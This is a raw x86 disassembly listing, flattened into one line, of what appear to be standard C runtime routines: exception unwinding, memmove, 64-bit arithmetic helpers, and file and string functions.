; sub_4227F8+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41D52A loc_41D4F1: ; CODE XREF: sub_41D4D3+52j cmp esi, 0FFFFFFFFh jnz short loc_41D4FB call sub_422E52 loc_41D4FB: ; CODE XREF: sub_41D4D3+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41D510 cmp ecx, [eax+8] jle short loc_41D515 loc_41D510: ; CODE XREF: sub_41D4D3+36j cmp esi, 0FFFFFFFFh jnz short loc_41D521 loc_41D515: ; CODE XREF: sub_41D4D3+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41D521: ; CODE XREF: sub_41D4D3+40j cmp [ebp+arg_4], 0 jge short loc_41D4F1 mov eax, [ebp+var_4] loc_41D52A: ; CODE XREF: sub_41D4D3+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41D53E cmp esi, eax jbe short loc_41D543 loc_41D53E: ; CODE XREF: sub_41D4D3+65j call sub_422E52 loc_41D543: ; CODE XREF: sub_41D4D3+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41D4D3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D550 proc near ; CODE XREF: sub_423CC0+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41D568 push [ebp+arg_0] call sub_426356 sub_41D550 endp ; =============== S U B R O U T I N E ======================================= sub_41D568 proc near ; DATA XREF: sub_41D550+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D568 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D570 proc near ; DATA XREF: sub_41D592+Ao ; sub_41D5FA+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41D591 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41D591: ; CODE XREF: sub_41D570+10j retn sub_41D570 endp ; =============== S U B R O U T I N E ======================================= sub_41D592 proc near ; CODE XREF: sub_422AD2+Dp ; sub_423CC0+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41D570 push large dword ptr fs:0 mov large fs:0, esp loc_41D5AF: ; CODE XREF: sub_41D592:loc_41D5EAj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41D5EC cmp esi, [esp+1Ch+arg_4] jz short loc_41D5EC lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41D5EA push 101h mov eax, [ebx+esi*4+8] call sub_41D626 call dword ptr [ebx+esi*4+8] loc_41D5EA: ; CODE XREF: sub_41D592+44j jmp short loc_41D5AF ; --------------------------------------------------------------------------- loc_41D5EC: ; CODE XREF: sub_41D592+2Aj ; sub_41D592+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41D592 endp ; =============== S U B R O U T I N E ======================================= sub_41D5FA proc near ; CODE XREF: sub_422AF2+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41D570 jnz short locret_41D61C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41D61C mov eax, 1 locret_41D61C: ; CODE XREF: sub_41D5FA+10j ; sub_41D5FA+1Bj retn sub_41D5FA endp ; =============== S U B R O U T I N E ======================================= sub_41D61D proc near ; CODE XREF: sub_422DB0+1Ep ; sub_422DB0+40p push ebx push ecx mov ebx, offset dword_43AE2C jmp short loc_41D630 sub_41D61D endp ; =============== S U B R O U T I N E ======================================= sub_41D626 proc near ; CODE XREF: sub_41D592+4Fp ; sub_423CC0+78p push ebx push ecx mov ebx, offset dword_43AE2C mov ecx, [ebp+8] loc_41D630: ; CODE XREF: sub_41D61D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41D626 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D640 proc near ; CODE XREF: sub_40D340+5p ; sub_40D4E2+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41D640 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D65F proc near ; CODE XREF: sub_40D977+26p ; ___:004260F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41BA91 pop ecx retn sub_41D65F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D670 proc near ; CODE XREF: sub_40D9E8+3Ap ; sub_41E742+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41D690 cmp edi, eax jb loc_41D808 loc_41D690: ; CODE XREF: sub_41D670+16j test edi, 3 jnz short loc_41D6AC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- loc_41D6AC: ; CODE XREF: sub_41D670+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41D6C4 and eax, 3 add ecx, eax jmp dword ptr loc_41D6CC+4[eax*4] ; --------------------------------------------------------------------------- loc_41D6C4: ; CODE XREF: sub_41D670+46j jmp dword ptr loc_41D7C8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D6CC: ; CODE XREF: sub_41D670+31j ; sub_41D670+8Ej ... jmp off_41D74C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D6E0 dd offset loc_41D70C dd offset loc_41D730 ; --------------------------------------------------------------------------- loc_41D6E0: ; DATA XREF: sub_41D670+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41D70C: ; DATA XREF: sub_41D670+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D730: ; DATA XREF: sub_41D670+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D74C dd offset loc_41D7AF ; DATA XREF: sub_41D670:loc_41D6CCr dd offset loc_41D79C dd offset loc_41D794 dd offset loc_41D78C dd offset loc_41D784 dd offset loc_41D77C dd offset loc_41D774 dd offset loc_41D76C ; --------------------------------------------------------------------------- loc_41D76C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41D774: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41D77C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41D784: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41D78C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41D794: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41D79C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D7AF: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670:off_41D74Co jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D7B8 dd offset loc_41D7C8 ; DATA XREF: sub_41D670+35r ; sub_41D670+92r ... dd offset loc_41D7D0 dd offset loc_41D7DC dd offset loc_41D7F0 ; --------------------------------------------------------------------------- loc_41D7C8: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D7D0: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D7DC: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D7F0: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D808: ; CODE XREF: sub_41D670+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41D83C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D830: ; CODE XREF: sub_41D670+1B1j ; sub_41D670+208j ... neg ecx jmp off_41D900[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D83C: ; CODE XREF: sub_41D670+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41D854 and eax, 3 sub ecx, eax jmp dword ptr loc_41D854+4[eax*4] ; --------------------------------------------------------------------------- loc_41D854: ; CODE XREF: sub_41D670+1D6j ; DATA XREF: sub_41D670+1DDr jmp off_41D950[ecx*4] ; --------------------------------------------------------------------------- align 4 push 880041D8h fadd dword ptr [ecx+0] mov al, 0D8h inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D904 dd offset loc_41D90C dd offset loc_41D914 dd offset loc_41D91C dd offset loc_41D924 dd offset loc_41D92C dd offset loc_41D934 off_41D900 dd offset loc_41D947 ; DATA XREF: sub_41D670+1C2r ; --------------------------------------------------------------------------- loc_41D904: ; DATA XREF: sub_41D670+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41D90C: ; DATA XREF: sub_41D670+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41D914: ; DATA XREF: sub_41D670+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41D91C: ; DATA XREF: sub_41D670+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41D924: ; DATA XREF: sub_41D670+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41D92C: ; DATA XREF: sub_41D670+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41D934: ; DATA XREF: sub_41D670+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D947: ; CODE XREF: sub_41D670+1C2j ; DATA XREF: sub_41D670:off_41D900o jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D950 dd offset loc_41D960 ; DATA XREF: sub_41D670+1B7r ; sub_41D670:loc_41D854r ... dd offset loc_41D968 dd offset loc_41D978 dd offset loc_41D98C ; --------------------------------------------------------------------------- loc_41D960: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D968: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D978: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D98C: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41D670 endp ; =============== S U B R O U T I N E ======================================= sub_41D9A5 proc near ; CODE XREF: sub_40DA4F+34p ; sub_40DA4F+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41BEC7 pop ecx pop ecx retn sub_41D9A5 endp ; =============== S U B R O U T I N E ======================================= sub_41D9B3 proc near ; CODE XREF: sub_41DA20+4p arg_0 = dword ptr 4 push esi push dword_4DD39C call sub_422EA8 mov edx, dword_4DD39C pop ecx mov ecx, dword_4DD398 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41DA12 push edx call sub_422EA8 add eax, 10h push eax push dword_4DD39C call sub_41BBE2 add esp, 0Ch test eax, eax jnz short loc_41D9F5 retn ; --------------------------------------------------------------------------- loc_41D9F5: ; CODE XREF: sub_41D9B3+3Fj mov ecx, dword_4DD398 sub ecx, dword_4DD39C mov dword_4DD39C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DD398, ecx loc_41DA12: ; CODE XREF: sub_41D9B3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DD398, 4 retn sub_41D9B3 endp ; =============== S U B R O U T I N E ======================================= sub_41DA20 proc near ; CODE XREF: sub_40DB3C+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41D9B3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41DA20 endp ; =============== S U B R O U T I N E ======================================= sub_41DA32 proc near ; DATA XREF: ___:00429018o push 80h call sub_41BEB5 test eax, eax pop ecx mov dword_4DD39C, eax jnz short loc_41DA53 push 18h call sub_41E2C9 mov eax, dword_4DD39C pop ecx loc_41DA53: ; CODE XREF: sub_41DA32+12j and dword ptr [eax], 0 mov eax, dword_4DD39C mov dword_4DD398, eax retn sub_41DA32 endp ; =============== S U B R O U T I N E ======================================= sub_41DA61 proc near ; CODE XREF: sub_40DB5E+7Ap ; sub_40DB5E+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_41DA75 loc_41DA6D: ; CODE XREF: sub_41DA61+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_41DA6D loc_41DA75: ; CODE XREF: sub_41DA61+Aj mov edx, [esp+arg_4] push esi loc_41DA7A: ; CODE XREF: sub_41DA61+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_41DA7A pop esi retn sub_41DA61 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41DB07 mov edi, [esp+14h] test edi, edi jz short loc_41DAAA cmp edi, 1 jz short loc_41DAAA cmp edi, 2 jnz short loc_41DB07 loc_41DAAA: ; CODE XREF: ___:0041DA9Ej ; ___:0041DAA3j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41DAC1 push esi call sub_422FA3 add [esp+14h], eax pop ecx xor edi, edi loc_41DAC1: ; CODE XREF: ___:0041DAB2j push esi call sub_41E42B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41DAD6 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41DAEA ; --------------------------------------------------------------------------- loc_41DAD6: ; CODE XREF: ___:0041DACDj test al, 1 jz short loc_41DAEA test al, 8 jz short loc_41DAEA test ah, 4 jnz short loc_41DAEA mov dword ptr [esi+18h], 200h loc_41DAEA: ; CODE XREF: ___:0041DAD4j ; ___:0041DAD8j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_422F09 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41DB14 ; --------------------------------------------------------------------------- loc_41DB07: ; CODE XREF: ___:0041DA96j ; ___:0041DAA8j mov dword_4DBDDC, 16h or eax, 0FFFFFFFFh loc_41DB14: ; CODE XREF: ___:0041DB05j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DB20 proc near ; CODE XREF: sub_413694+19Ep ; sub_4143F7+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41DB39 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41DB39: ; CODE XREF: sub_41DB20+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41DB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB54 proc near ; CODE XREF: ___:0041668Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41DB78 xor eax, eax jmp loc_41DC45 ; --------------------------------------------------------------------------- loc_41DB78: ; CODE XREF: sub_41DB54+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41DB8B mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41DB92 ; --------------------------------------------------------------------------- loc_41DB8B: ; CODE XREF: sub_41DB54+2Dj mov [ebp+arg_C], 1000h loc_41DB92: ; CODE XREF: sub_41DB54+35j ; sub_41DB54+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41DBC6 mov eax, [esi+4] test eax, eax jz short loc_41DBC6 cmp ebx, eax mov edi, ebx jb short loc_41DBAC mov edi, eax loc_41DBAC: ; CODE XREF: sub_41DB54+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41CD20 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41DC0C ; --------------------------------------------------------------------------- loc_41DBC6: ; CODE XREF: sub_41DB54+47j ; sub_41DB54+4Ej cmp ebx, [ebp+arg_C] jb short loc_41DC11 test ecx, ecx jz short loc_41DBDA push esi call sub_41E42B test eax, eax pop ecx jnz short loc_41DC53 loc_41DBDA: ; CODE XREF: sub_41DB54+79j cmp [ebp+arg_C], 0 jz short loc_41DBED mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41DBEF ; --------------------------------------------------------------------------- loc_41DBED: ; CODE XREF: sub_41DB54+8Aj mov edi, ebx loc_41DBEF: ; CODE XREF: sub_41DB54+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_4230FB add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41DC4A add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41DC4A loc_41DC0C: ; CODE XREF: sub_41DB54+70j mov edi, [ebp+var_4] jmp short loc_41DC3A ; --------------------------------------------------------------------------- loc_41DC11: ; CODE XREF: sub_41DB54+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41FE2A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC53 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41DC3A mov [ebp+arg_C], 1 loc_41DC3A: ; CODE XREF: sub_41DB54+BBj ; sub_41DB54+DDj test ebx, ebx jnz loc_41DB92 mov eax, [ebp+arg_8] loc_41DC45: ; CODE XREF: sub_41DB54+1Fj ; sub_41DB54+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41DC4A: ; CODE XREF: sub_41DB54+ADj ; sub_41DB54+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41DC55 ; --------------------------------------------------------------------------- loc_41DC53: ; CODE XREF: sub_41DB54+84j ; sub_41DB54+CFj mov eax, edi loc_41DC55: ; CODE XREF: sub_41DB54+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41DC45 sub_41DB54 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5E proc near ; CODE XREF: sub_416CAF+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call near ptr 26B0B43h nop cmp eax, 0FFFFFFFFh jnz short loc_41DC7E call near ptr 26B0669h nop push eax call sub_420C7F pop ecx loc_41DC7A: ; CODE XREF: sub_41DC5E+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41DC7E: ; CODE XREF: sub_41DC5E+Dj test al, 1 jz short loc_41DC9F test [esp+arg_4], 2 jz short loc_41DC9F mov dword_4DBDDC, 0Dh mov dword_4DBDE0, 5 jmp short loc_41DC7A ; --------------------------------------------------------------------------- loc_41DC9F: ; CODE XREF: sub_41DC5E+22j ; sub_41DC5E+29j xor eax, eax retn sub_41DC5E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DCB0 proc near ; CODE XREF: sub_416CC9+3Fp ; sub_41AED9+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41DCD2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41DD13 ; --------------------------------------------------------------------------- loc_41DCD2: ; CODE XREF: sub_41DCB0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41DCE0: ; CODE XREF: sub_41DCB0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DCE0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41DD0E cmp edx, [esp+8+arg_4] ja short loc_41DD0E jb short loc_41DD0F cmp eax, [esp+8+arg_0] jbe short loc_41DD0F loc_41DD0E: ; CODE XREF: sub_41DCB0+4Ej ; sub_41DCB0+54j dec esi loc_41DD0F: ; CODE XREF: sub_41DCB0+56j ; sub_41DCB0+5Cj xor edx, edx mov eax, esi loc_41DD13: ; CODE XREF: sub_41DCB0+20j pop esi pop ebx retn 10h sub_41DCB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DD20 proc near ; CODE XREF: sub_416CC9+2Dp ; sub_41AED9+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41DD41 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41DD91 ; --------------------------------------------------------------------------- loc_41DD41: ; CODE XREF: sub_41DD20+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41DD4F: ; CODE XREF: sub_41DD20+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DD4F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41DD7A cmp edx, [esp+4+arg_4] ja short loc_41DD7A jb short loc_41DD82 cmp eax, [esp+4+arg_0] jbe short loc_41DD82 loc_41DD7A: ; CODE XREF: sub_41DD20+4Aj ; sub_41DD20+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41DD82: ; CODE XREF: sub_41DD20+52j ; sub_41DD20+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41DD91: ; CODE XREF: sub_41DD20+1Fj pop ebx retn 10h sub_41DD20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DDA0 proc near ; CODE XREF: sub_416DD9+5Fp ; sub_416DD9+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41DDC1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41DDC1: ; CODE XREF: sub_41DDA0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41DDDD inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41DDDD: ; CODE XREF: sub_41DDA0+27j or eax, eax jnz short loc_41DDF9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41DE3A ; --------------------------------------------------------------------------- loc_41DDF9: ; CODE XREF: sub_41DDA0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41DE07: ; CODE XREF: sub_41DDA0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41DE07 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41DE35 cmp edx, [esp+0Ch+arg_4] ja short loc_41DE35 jb short loc_41DE36 cmp eax, [esp+0Ch+arg_0] jbe short loc_41DE36 loc_41DE35: ; CODE XREF: sub_41DDA0+85j ; sub_41DDA0+8Bj dec esi loc_41DE36: ; CODE XREF: sub_41DDA0+8Dj ; sub_41DDA0+93j xor edx, edx mov eax, esi loc_41DE3A: ; CODE XREF: sub_41DDA0+57j dec edi jnz short loc_41DE44 neg edx neg eax sbb edx, 0 loc_41DE44: ; CODE XREF: sub_41DDA0+9Bj pop ebx pop esi pop edi retn 10h sub_41DDA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DE4A proc near ; CODE XREF: sub_417493+BFp ; sub_417493+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DBE84 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41DE7E mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41DEE5 loc_41DE66: ; CODE XREF: sub_41DE4A+30j mov cl, 